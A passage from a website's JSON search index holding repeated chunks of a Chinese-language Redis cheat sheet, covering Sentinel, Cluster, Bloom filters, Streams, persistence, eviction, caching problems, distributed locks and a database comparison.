多数 Sentinel 确认主节点不可用 领导选举: Sentinel 之间选举领导者执行故障转移 新主选择: 选择最优 slave 提升为 master 配置更新: 更新所有节点配置 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#sentinel-模式"},{"categories":null,"collections":null,"content":"Sentinel 模式 核心功能 监控 (Monitoring): 监控 master 和 slave 健康状态 通知 (Notification): 故障时通知管理员 自动故障转移 (Automatic Failover): 自动选举新 master 配置提供 (Configuration Provider): 为客户端提供当前 master 地址 工作原理 # Sentinel 配置文件 sentinel monitor mymaster 127.0.0.1 6379 2 sentinel down-after-milliseconds mymaster 30000 sentinel parallel-syncs mymaster 1 sentinel failover-timeout mymaster 180000 故障转移流程： 主观下线 (SDOWN): 单个 Sentinel 认为主节点不可用 客观下线 (ODOWN): 多数 Sentinel 确认主节点不可用 领导选举: Sentinel 之间选举领导者执行故障转移 新主选择: 选择最优 slave 提升为 master 配置更新: 更新所有节点配置 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#核心功能"},{"categories":null,"collections":null,"content":"Sentinel 模式 核心功能 监控 (Monitoring): 监控 master 和 slave 健康状态 通知 (Notification): 故障时通知管理员 自动故障转移 (Automatic Failover): 自动选举新 master 配置提供 (Configuration Provider): 为客户端提供当前 master 地址 工作原理 # Sentinel 配置文件 sentinel monitor mymaster 127.0.0.1 6379 2 sentinel down-after-milliseconds mymaster 30000 sentinel parallel-syncs mymaster 1 sentinel failover-timeout mymaster 180000 故障转移流程： 主观下线 (SDOWN): 单个 Sentinel 认为主节点不可用 客观下线 (ODOWN): 多数 Sentinel 确认主节点不可用 领导选举: Sentinel 之间选举领导者执行故障转移 新主选择: 选择最优 slave 提升为 master 配置更新: 更新所有节点配置 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#工作原理"},{"categories":null,"collections":null,"content":"Cluster 集群模式 集群特性 去中心化: 无单点故障 数据分片: 自动数据分布 高可用: master 故障自动切换 在线扩缩容: 支持动态添加/删除节点 数据分片算法 # 计算 Key 哈希 Slot HASH_SLOT = CRC16(key) % 16384 # Slot 分配示例（3 个 Master 节点） Master1: 0-5461 (5462 Slot) Master2: 5462-10923 (5462 Slot) Master3: 10924-16383 (5460 Slot) 集群操作命令 # 创建集群 redis-cli --cluster create \\ 127.0.0.1:7000 127.0.0.1:7001 127.0.0.1:7002 \\ 127.0.0.1:7003 127.0.0.1:7004 127.0.0.1:7005 \\ --cluster-replicas 1 # 查看集群信息 CLUSTER INFO CLUSTER NODES # 重新分片 redis-cli --cluster reshard 127.0.0.1:7000 # 添加节点 redis-cli --cluster add-node 127.0.0.1:7006 127.0.0.1:7000 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#cluster-集群模式"},{"categories":null,"collections":null,"content":"Cluster 集群模式 集群特性 去中心化: 无单点故障 数据分片: 自动数据分布 高可用: master 故障自动切换 在线扩缩容: 支持动态添加/删除节点 数据分片算法 # 计算 Key 哈希 Slot HASH_SLOT = CRC16(key) % 16384 # Slot 分配示例（3 个 Master 节点） Master1: 0-5461 (5462 Slot) Master2: 5462-10923 (5462 Slot) Master3: 10924-16383 (5460 Slot) 集群操作命令 # 创建集群 redis-cli --cluster create \\ 127.0.0.1:7000 127.0.0.1:7001 127.0.0.1:7002 \\ 127.0.0.1:7003 127.0.0.1:7004 127.0.0.1:7005 \\ --cluster-replicas 1 # 查看集群信息 CLUSTER INFO CLUSTER NODES # 重新分片 redis-cli --cluster reshard 127.0.0.1:7000 # 添加节点 redis-cli --cluster add-node 127.0.0.1:7006 127.0.0.1:7000 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#集群特性"},{"categories":null,"collections":null,"content":"Cluster 集群模式 集群特性 去中心化: 无单点故障 数据分片: 自动数据分布 高可用: master 故障自动切换 在线扩缩容: 支持动态添加/删除节点 数据分片算法 # 计算 Key 哈希 Slot HASH_SLOT = CRC16(key) % 16384 # Slot 分配示例（3 个 Master 节点） Master1: 0-5461 (5462 Slot) Master2: 5462-10923 (5462 Slot) Master3: 10924-16383 (5460 Slot) 集群操作命令 # 创建集群 redis-cli --cluster create \\ 127.0.0.1:7000 127.0.0.1:7001 127.0.0.1:7002 \\ 127.0.0.1:7003 127.0.0.1:7004 127.0.0.1:7005 \\ --cluster-replicas 1 # 查看集群信息 CLUSTER INFO CLUSTER NODES # 重新分片 redis-cli --cluster reshard 127.0.0.1:7000 # 添加节点 redis-cli --cluster add-node 127.0.0.1:7006 127.0.0.1:7000 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#数据分片算法"},{"categories":null,"collections":null,"content":"Cluster 集群模式 集群特性 去中心化: 无单点故障 数据分片: 自动数据分布 高可用: master 故障自动切换 在线扩缩容: 支持动态添加/删除节点 数据分片算法 # 计算 Key 哈希 Slot HASH_SLOT = CRC16(key) % 16384 # Slot 分配示例（3 个 Master 节点） Master1: 0-5461 (5462 Slot) Master2: 5462-10923 (5462 Slot) Master3: 10924-16383 (5460 Slot) 集群操作命令 # 创建集群 redis-cli --cluster create \\ 127.0.0.1:7000 127.0.0.1:7001 127.0.0.1:7002 \\ 127.0.0.1:7003 127.0.0.1:7004 127.0.0.1:7005 \\ --cluster-replicas 1 # 查看集群信息 CLUSTER INFO CLUSTER NODES # 重新分片 redis-cli --cluster reshard 127.0.0.1:7000 # 添加节点 redis-cli --cluster add-node 127.0.0.1:7006 127.0.0.1:7000 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#集群操作命令"},{"categories":null,"collections":null,"content":"布隆过滤器 布隆过滤器是一种概率性数据结构，用于高效判断一个元素是否在集合中。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:10:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#布隆过滤器"},{"categories":null,"collections":null,"content":"核心特性 误报率: 可能误判存在，但不会误判不存在 空间效率: 使用位数组，空间复杂度低 时间复杂度: O(k) 查询时间，k 为哈希函数数量 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:10:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#核心特性"},{"categories":null,"collections":null,"content":"实现原理 # 基本流程 # 1. 初始化: 创建 m 位位数组，k 个哈希函数 # 2. 添加元素: 对元素计算 k 个哈希值，设置对应位为 1 # 3. 查询元素: 计算 k 个哈希值，检查对应位是否都为 1 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:10:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#实现原理"},{"categories":null,"collections":null,"content":"参数计算 # 最优位数组大小 m = -n * ln(p) / (ln(2))^2 # 最优哈希函数数量 k = (m/n) * ln(2) # 其中：n=元素数量，p=误报率，m=位数组大小，k=哈希函数数量 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:10:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#参数计算"},{"categories":null,"collections":null,"content":"Redis 布隆过滤器 # 加载 RedisBloom 模块 MODULE LOAD /path/to/redisbloom.so # 创建布隆过滤器 BF.RESERVE myfilter 0.01 10000 # 添加元素 BF.ADD myfilter \"user123\" BF.MADD myfilter \"user1\" \"user2\" \"user3\" # 检查元素 BF.EXISTS myfilter \"user123\" BF.MEXISTS myfilter \"user1\" \"user2\" # 获取信息 BF.INFO myfilter ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:10:4","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#redis-布隆过滤器"},{"categories":null,"collections":null,"content":"应用场景 缓存穿透防护: 过滤不存在的请求 爬虫 URL 去重: 避免重复爬取 垃圾邮件过滤: 快速判断发件人 推荐系统: 已推荐内容过滤 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:10:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#应用场景"},{"categories":null,"collections":null,"content":"Stream 流数据结构 Stream 是 Redis 5.0 引入的新数据结构，主要用于消息队列和事件流处理。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:11:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#stream-流数据结构"},{"categories":null,"collections":null,"content":"核心特性 持久化消息队列: 消息持久化存储 消费者组: 支持多消费者协作 消息确认: 支持消息确认机制 历史消息: 可以查询历史消息 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:11:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#核心特性-1"},{"categories":null,"collections":null,"content":"消息 ID 结构 \u003c毫秒时间戳\u003e-\u003c序列号\u003e 例如: 1609459200000-0 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:11:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#消息-id-结构"},{"categories":null,"collections":null,"content":"基本操作 # 添加消息 XADD mystream * field1 value1 field2 value2 XADD mystream 1609459200000-0 user \"john\" action \"login\" # 读取消息 XREAD COUNT 2 STREAMS mystream 0 XREAD BLOCK 1000 STREAMS mystream $ # 阻塞读取新消息 # 查看 Stream 信息 XINFO STREAM mystream XLEN mystream # 范围查询 XRANGE mystream - + XRANGE mystream 1609459200000 1609459300000 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:11:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#基本操作"},{"categories":null,"collections":null,"content":"消费者组操作 # 创建消费者组 XGROUP CREATE mystream mygroup $ MKSTREAM # 消费者读取 XREADGROUP GROUP mygroup consumer1 COUNT 1 STREAMS mystream \u003e # 确认消息 XACK mystream mygroup 1609459200000-0 # 查看消费者组信息 XINFO GROUPS mystream XINFO CONSUMERS mystream mygroup # 处理 pending 消息 XPENDING mystream mygroup XCLAIM mystream mygroup consumer2 1800000 1609459200000-0 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:11:4","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#消费者组操作"},{"categories":null,"collections":null,"content":"Stream 与其他队列对比 特性 List Pub/Sub Stream 持久化 支持 不支持 支持 多消费者 不支持 支持 支持 消息确认 不支持 不支持 支持 历史消息 支持 不支持 支持 消费者组 不支持 不支持 支持 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:11:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#stream-与其他队列对比"},{"categories":null,"collections":null,"content":"面试高频考点 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#面试高频考点"},{"categories":null,"collections":null,"content":"持久化机制 RDB (Redis Database) # 配置文件设置 save 900 1 # 900 秒内至少 1 个 key 变化 save 300 10 # 300 秒内至少 10 个 key 变化 save 60 10000 # 60 秒内至少 10000 个 key 变化 # 手动触发 SAVE # 同步保存（阻塞） BGSAVE # 异步保存（后台） AOF (Append Only File) # 配置选项 appendonly yes appendfsync always # 每次写入立即同步 appendfsync everysec # 每秒同步一次（推荐） appendfsync no # 由 OS 决定同步时机 混合持久化 (Redis 4.0+) aof-use-rdb-preamble yes ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#持久化机制"},{"categories":null,"collections":null,"content":"持久化机制 RDB (Redis Database) # 配置文件设置 save 900 1 # 900 秒内至少 1 个 key 变化 save 300 10 # 300 秒内至少 10 个 key 变化 save 60 10000 # 60 秒内至少 10000 个 key 变化 # 手动触发 SAVE # 同步保存（阻塞） BGSAVE # 异步保存（后台） AOF (Append Only File) # 配置选项 appendonly yes appendfsync always # 每次写入立即同步 appendfsync everysec # 每秒同步一次（推荐） appendfsync no # 由 OS 决定同步时机 混合持久化 (Redis 4.0+) aof-use-rdb-preamble yes ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#rdb-redis-database"},{"categories":null,"collections":null,"content":"持久化机制 RDB (Redis Database) # 配置文件设置 save 900 1 # 900 秒内至少 1 个 key 变化 save 300 10 # 300 秒内至少 10 个 key 变化 save 60 10000 # 60 秒内至少 10000 个 key 变化 # 手动触发 SAVE # 同步保存（阻塞） BGSAVE # 异步保存（后台） AOF (Append Only File) # 配置选项 appendonly yes appendfsync always # 每次写入立即同步 appendfsync everysec # 每秒同步一次（推荐） appendfsync no # 由 OS 决定同步时机 混合持久化 (Redis 4.0+) aof-use-rdb-preamble yes ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#aof-append-only-file"},{"categories":null,"collections":null,"content":"持久化机制 RDB (Redis Database) # 配置文件设置 save 900 1 # 900 秒内至少 1 个 key 变化 save 300 10 # 300 秒内至少 10 个 key 变化 save 60 10000 # 60 秒内至少 10000 个 key 变化 # 手动触发 SAVE # 同步保存（阻塞） BGSAVE # 异步保存（后台） AOF (Append Only File) # 配置选项 appendonly yes appendfsync always # 每次写入立即同步 appendfsync everysec # 每秒同步一次（推荐） appendfsync no # 由 OS 决定同步时机 混合持久化 (Redis 4.0+) aof-use-rdb-preamble yes ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#混合持久化-redis-40"},{"categories":null,"collections":null,"content":"内存淘汰策略 # 配置最大内存 maxmemory 2gb # 淘汰策略 maxmemory-policy allkeys-lru 策略 说明 noeviction 不淘汰，内存满时返回错误 allkeys-lru 所有 key 中淘汰最近最少使用的 allkeys-lfu 所有 key 中淘汰最少频率的 volatile-lru 有过期时间的 key 中淘汰最近最少使用的 volatile-lfu 有过期时间的 key 中淘汰最少频率的 volatile-random 有过期时间的 key 中随机淘汰 volatile-ttl 淘汰即将过期的 key ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#内存淘汰策略"},{"categories":null,"collections":null,"content":"缓存问题解决方案 1. 缓存穿透 问题: 查询不存在的数据，绕过缓存直接查数据库 解决方案: 布隆过滤器预过滤 空值缓存（设置较短过期时间） 参数校验 2. 缓存雪崩 问题: 大量缓存同时失效，数据库压力激增 解决方案: 随机过期时间 缓存预热 多级缓存 限流降级 3. 缓存击穿 问题: 热点数据过期，大量请求直达数据库 解决方案: 互斥锁重建缓存 异步更新缓存 热点数据永不过期 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#缓存问题解决方案"},{"categories":null,"collections":null,"content":"缓存问题解决方案 1. 缓存穿透 问题: 查询不存在的数据，绕过缓存直接查数据库 解决方案: 布隆过滤器预过滤 空值缓存（设置较短过期时间） 参数校验 2. 缓存雪崩 问题: 大量缓存同时失效，数据库压力激增 解决方案: 随机过期时间 缓存预热 多级缓存 限流降级 3. 缓存击穿 问题: 热点数据过期，大量请求直达数据库 解决方案: 互斥锁重建缓存 异步更新缓存 热点数据永不过期 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#1-缓存穿透"},{"categories":null,"collections":null,"content":"缓存问题解决方案 1. 缓存穿透 问题: 查询不存在的数据，绕过缓存直接查数据库 解决方案: 布隆过滤器预过滤 空值缓存（设置较短过期时间） 参数校验 2. 缓存雪崩 问题: 大量缓存同时失效，数据库压力激增 解决方案: 随机过期时间 缓存预热 多级缓存 限流降级 3. 缓存击穿 问题: 热点数据过期，大量请求直达数据库 解决方案: 互斥锁重建缓存 异步更新缓存 热点数据永不过期 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#2-缓存雪崩"},{"categories":null,"collections":null,"content":"缓存问题解决方案 1. 缓存穿透 问题: 查询不存在的数据，绕过缓存直接查数据库 解决方案: 布隆过滤器预过滤 空值缓存（设置较短过期时间） 参数校验 2. 缓存雪崩 问题: 大量缓存同时失效，数据库压力激增 解决方案: 随机过期时间 缓存预热 多级缓存 限流降级 3. 缓存击穿 问题: 热点数据过期，大量请求直达数据库 解决方案: 互斥锁重建缓存 异步更新缓存 热点数据永不过期 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#3-缓存击穿"},{"categories":null,"collections":null,"content":"分布式锁实现 基于 SETNX 的简单锁 # 加锁 SET lock_key unique_value PX 30000 NX # 释放锁（Lua 脚本保证原子性） if redis.call(\"get\", KEYS[1]) == ARGV[1] then return redis.call(\"del\", KEYS[1]) else return 0 end Redlock 算法 获取当前时间戳 依次向 N 个 Redis 实例请求加锁 超过 N/2+1 个实例加锁成功才算成功 加锁总时间要小于锁过期时间 释放所有实例上的锁 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:4","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#分布式锁实现"},{"categories":null,"collections":null,"content":"分布式锁实现 基于 SETNX 的简单锁 # 加锁 SET lock_key unique_value PX 30000 NX # 释放锁（Lua 脚本保证原子性） if redis.call(\"get\", KEYS[1]) == ARGV[1] then return redis.call(\"del\", KEYS[1]) else return 0 end Redlock 算法 获取当前时间戳 依次向 N 个 Redis 实例请求加锁 超过 N/2+1 个实例加锁成功才算成功 加锁总时间要小于锁过期时间 释放所有实例上的锁 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:4","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#基于-setnx-的简单锁"},{"categories":null,"collections":null,"content":"分布式锁实现 基于 SETNX 的简单锁 # 加锁 SET lock_key unique_value PX 30000 NX # 释放锁（Lua 脚本保证原子性） if redis.call(\"get\", KEYS[1]) == ARGV[1] then return redis.call(\"del\", KEYS[1]) else return 0 end Redlock 算法 获取当前时间戳 依次向 N 个 Redis 实例请求加锁 超过 N/2+1 个实例加锁成功才算成功 加锁总时间要小于锁过期时间 释放所有实例上的锁 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:4","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#redlock-算法"},{"categories":null,"collections":null,"content":"性能优化 1. 合理的数据结构 小数据量使用 ziplist 编码（节省内存） 大数据量使用 hashtable 编码（提高性能） 2. 批量操作 # 使用 pipeline 减少网络往返 PIPELINE SET key1 value1 SET key2 value2 EXEC # 使用 MGET/MSET 批量操作 MSET key1 value1 key2 value2 MGET key1 key2 3. 配置优化 # 配置优化 hash-max-ziplist-entries 512 hash-max-ziplist-value 64 list-max-ziplist-size -2 set-max-intset-entries 512 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#性能优化"},{"categories":null,"collections":null,"content":"性能优化 1. 合理的数据结构 小数据量使用 ziplist 编码（节省内存） 大数据量使用 hashtable 编码（提高性能） 2. 批量操作 # 使用 pipeline 减少网络往返 PIPELINE SET key1 value1 SET key2 value2 EXEC # 使用 MGET/MSET 批量操作 MSET key1 value1 key2 value2 MGET key1 key2 3. 配置优化 # 配置优化 hash-max-ziplist-entries 512 hash-max-ziplist-value 64 list-max-ziplist-size -2 set-max-intset-entries 512 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#1-合理的数据结构"},{"categories":null,"collections":null,"content":"性能优化 1. 合理的数据结构 小数据量使用 ziplist 编码（节省内存） 大数据量使用 hashtable 编码（提高性能） 2. 批量操作 # 使用 pipeline 减少网络往返 PIPELINE SET key1 value1 SET key2 value2 EXEC # 使用 MGET/MSET 批量操作 MSET key1 value1 key2 value2 MGET key1 key2 3. 配置优化 # 配置优化 hash-max-ziplist-entries 512 hash-max-ziplist-value 64 list-max-ziplist-size -2 set-max-intset-entries 512 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#2-批量操作"},{"categories":null,"collections":null,"content":"性能优化 1. 合理的数据结构 小数据量使用 ziplist 编码（节省内存） 大数据量使用 hashtable 编码（提高性能） 2. 批量操作 # 使用 pipeline 减少网络往返 PIPELINE SET key1 value1 SET key2 value2 EXEC # 使用 MGET/MSET 批量操作 MSET key1 value1 key2 value2 MGET key1 key2 3. 配置优化 # 配置优化 hash-max-ziplist-entries 512 hash-max-ziplist-value 64 list-max-ziplist-size -2 set-max-intset-entries 512 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:12:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#3-配置优化"},{"categories":null,"collections":null,"content":"数据库技术选型对比 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#数据库技术选型对比"},{"categories":null,"collections":null,"content":"关系型数据库 MySQL 方面 描述 存储引擎 InnoDB (事务)、MyISAM (性能) 事务支持 完整 ACID 支持 复制 主从复制、主主复制 适用场景 Web 应用、电商系统、金融系统 PostgreSQL 方面 描述 数据类型 丰富的内置类型 (JSON、数组、地理) 索引类型 B-tree、Hash、GiST、GIN、BRIN 并发控制 MVCC 多版本并发控制 适用场景 复杂查询、数据分析、地理信息系统 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#关系型数据库"},{"categories":null,"collections":null,"content":"关系型数据库 MySQL 方面 描述 存储引擎 InnoDB (事务)、MyISAM (性能) 事务支持 完整 ACID 支持 复制 主从复制、主主复制 适用场景 Web 应用、电商系统、金融系统 PostgreSQL 方面 描述 数据类型 丰富的内置类型 (JSON、数组、地理) 索引类型 B-tree、Hash、GiST、GIN、BRIN 并发控制 MVCC 多版本并发控制 适用场景 复杂查询、数据分析、地理信息系统 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#mysql"},{"categories":null,"collections":null,"content":"关系型数据库 MySQL 方面 描述 存储引擎 InnoDB (事务)、MyISAM (性能) 事务支持 完整 ACID 支持 复制 主从复制、主主复制 适用场景 Web 应用、电商系统、金融系统 PostgreSQL 方面 描述 数据类型 丰富的内置类型 (JSON、数组、地理) 索引类型 B-tree、Hash、GiST、GIN、BRIN 并发控制 MVCC 多版本并发控制 适用场景 复杂查询、数据分析、地理信息系统 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#postgresql"},{"categories":null,"collections":null,"content":"NoSQL 数据库 MongoDB 方面 描述 数据模型 BSON 文档 分片 自动分片 (Auto-Sharding) 复制 副本集 (Replica Set) 适用场景 内容管理、实时分析、物联网 Cassandra 方面 描述 数据模型 宽列存储 一致性 可调一致性 分区 一致性哈希 适用场景 时序数据、日志系统、推荐系统 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#nosql-数据库"},{"categories":null,"collections":null,"content":"NoSQL 数据库 MongoDB 方面 描述 数据模型 BSON 文档 分片 自动分片 (Auto-Sharding) 复制 副本集 (Replica Set) 适用场景 内容管理、实时分析、物联网 Cassandra 方面 描述 数据模型 宽列存储 一致性 可调一致性 分区 一致性哈希 适用场景 时序数据、日志系统、推荐系统 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#mongodb"},{"categories":null,"collections":null,"content":"NoSQL 数据库 MongoDB 方面 描述 数据模型 BSON 文档 分片 自动分片 (Auto-Sharding) 复制 副本集 (Replica Set) 适用场景 内容管理、实时分析、物联网 Cassandra 方面 描述 数据模型 宽列存储 一致性 可调一致性 分区 一致性哈希 适用场景 时序数据、日志系统、推荐系统 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#cassandra"},{"categories":null,"collections":null,"content":"数据库对比总结 数据库 类型 一致性 扩展性 查询能力 适用场景 MySQL 关系型 强一致 垂直扩展 很强 通用业务 PostgreSQL 关系型 强一致 垂直扩展 很强 复杂分析 Redis 键值 最终一致 水平扩展 弱 缓存、会话 MongoDB 文档 强一致 水平扩展 中等 内容管理 Cassandra 列族 可调一致 线性扩展 弱 高并发写入 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#数据库对比总结"},{"categories":null,"collections":null,"content":"选型原则 业务需求优先: 根据具体业务场景选择 团队能力: 考虑团队的技术栈和维护能力 成本控制: 综合考虑开发、运维、硬件成本 未来扩展: 预留技术演进空间 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:4","tags":["大数据","SSL 